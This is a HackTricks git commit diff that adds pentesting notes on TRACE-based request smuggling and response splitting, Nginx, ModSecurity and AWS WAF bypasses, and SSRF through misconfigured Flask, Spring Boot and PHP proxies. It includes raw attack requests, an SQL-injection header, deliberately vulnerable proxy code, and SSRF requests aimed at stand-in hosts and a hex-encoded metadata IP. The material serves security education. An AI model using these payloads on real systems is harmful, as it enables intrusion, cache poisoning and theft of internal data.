mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GITBOOK-4278: change request with no subject merged in GitBook
This commit is contained in:
CPol
gitbook-bot
parent
9a0426ce76
commit
aaeb94937c
5 changed files with 289 additions and 17 deletions
BIN
.gitbook/assets/image (729).png
Normal file
BIN
.gitbook/assets/image (729).png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 492 KiB |
|
|
@ -7,12 +7,12 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**This is a summary of the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
**This is a summary of the post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
||||
## Connection State Attacks <a href="#state" id="state"></a>
|
||||
|
||||
|
|
@ -20,7 +20,7 @@
|
|||
|
||||
When routing requests, reverse proxies might depend on the **Host header** to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in some proxies where the whitelist is only enforced on the initial request in a connection. Consequently, attackers could exploit this by first making a request to an allowed host and then requesting an internal site through the same connection:
|
||||
|
||||
```text
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
||||
|
|
@ -28,13 +28,11 @@ GET / HTTP/1.1
|
|||
Host: [internal-host]
|
||||
```
|
||||
|
||||
This vulnerability is thankfully not widespread.
|
||||
|
||||
### First-request Routing
|
||||
|
||||
In some configurations, a front-end server may use the **Host header of the first request** to determine the back-end routing for that request, and then persistently route all subsequent requests from the same client connection to the same back-end connection. This can be demonstrated as:
|
||||
|
||||
```text
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
|
|
@ -48,7 +46,6 @@ This issue can potentially be combined with [Host header attacks](https://portsw
|
|||
To identify these vulnerabilities, the 'connection-state probe' feature in HTTP Request Smuggler can be utilized.
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
@ -56,7 +53,7 @@ To identify these vulnerabilities, the 'connection-state probe' feature in HTTP
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -255,8 +255,6 @@ When testing for request smuggling vulnerabilities by interfering with other req
|
|||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### To bypass front-end security controls
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
|
||||
|
|
@ -405,8 +403,6 @@ This payload is structured to exploit the vulnerability by:
|
|||
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
|
||||
### Using HTTP request smuggling to turn an on-site redirect into an open redirect <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
|
||||
|
|
@ -457,8 +453,6 @@ Location: https://attacker-website.com/home/
|
|||
|
||||
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache poisoning <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
|
||||
|
|
@ -515,6 +509,83 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
|
|||
|
||||
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
|
||||
|
||||
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:
|
||||
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
|
||||
Will send a response such as:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
Content-Length: 115
|
||||
|
||||
TRACE / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
|
||||
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response. \
|
||||
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
|
||||
|
||||
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Length: 360
|
||||
|
||||
HEAD /smuggled HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /reflect HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
|
||||
Content-Type: text/html\r\n
|
||||
Cache-Control: max-age=1000000\r\n
|
||||
Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
|
||||
Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 165
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 243
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
|
||||
Content-Type: text/html
|
||||
Cache-Control: max-age=1000000
|
||||
Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
|
||||
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
|
||||
|
||||
Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
|
||||
|
|
@ -523,6 +594,20 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how
|
|||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Other HTTP Request Smuggling Techniques
|
||||
|
||||
* Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo intruder scripts
|
||||
|
||||
### CL.TE
|
||||
|
|
@ -632,6 +717,7 @@ def handleResponse(req, interesting):
|
|||
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
||||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -14,7 +14,113 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
Check the following page to see how to **bypass WAFs abusing HTTP parsers inconsistencies:** [**https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) and check this blog post about ModSecurity WAF bypasses: [**https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Nginx rule example:
|
||||
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
|
||||
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Version | **Node.js Bypass Characters** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Version | **Flask Bypass Characters** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM configuration:
|
||||
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
|
||||
Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.
|
||||
|
||||
### How to prevent
|
||||
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
|
||||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Path Confusion
|
||||
|
||||
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\
|
||||
Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.
|
||||
|
||||
The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.
|
||||
|
||||
Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Malformed Header
|
||||
|
||||
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.
|
||||
|
||||
For example, sending the following request with a SQL injection in the header X-Query:
|
||||
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
X-Query: Value\r\n
|
||||
\t' or '1'='1' -- \r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
|
||||
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
|
||||
|
||||
## References
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -225,6 +225,88 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Misconfigured proxies to SSRF
|
||||
|
||||
Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
### Flask
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Flask proxy vulnerable code</summary>
|
||||
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
app = Flask('__main__')
|
||||
SITE_NAME = 'https://google.com'
|
||||
|
||||
@app.route('/', defaults={'path': ''})
|
||||
@app.route('/<path:path>')
|
||||
|
||||
def proxy(path):
|
||||
return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(threaded=False)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Flask allows to use **`@`** as initial character, which allows to make the **initial host name the username** and inject a new one. Attack request:
|
||||
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
Vulnerable code:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It was discovered that It's possible to **start the path** of a request with character **`;`** which allows to use then **`@`** and inject a new host to access. Attack request:
|
||||
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vulnerable PHP code</summary>
|
||||
|
||||
```php
|
||||
<?php
|
||||
$site = "http://ifconfig.me";
|
||||
$current_uri = $_SERVER['REQUEST_URI'];
|
||||
|
||||
$proxy_site = $site.$current_uri;
|
||||
var_dump($proxy_site);
|
||||
|
||||
echo "\n\n";
|
||||
|
||||
$response = file_get_contents($proxy_site);
|
||||
var_dump($response);
|
||||
?>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
PHP allows the use of the **char `*` before a slash in the path** of the URL, however, it has other limitations like that it can only be used for the root pathname `/` and that dots `.` are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
|
||||
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
|
||||
If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation:
|
||||
|
|
@ -322,6 +404,7 @@ SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP
|
|||
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue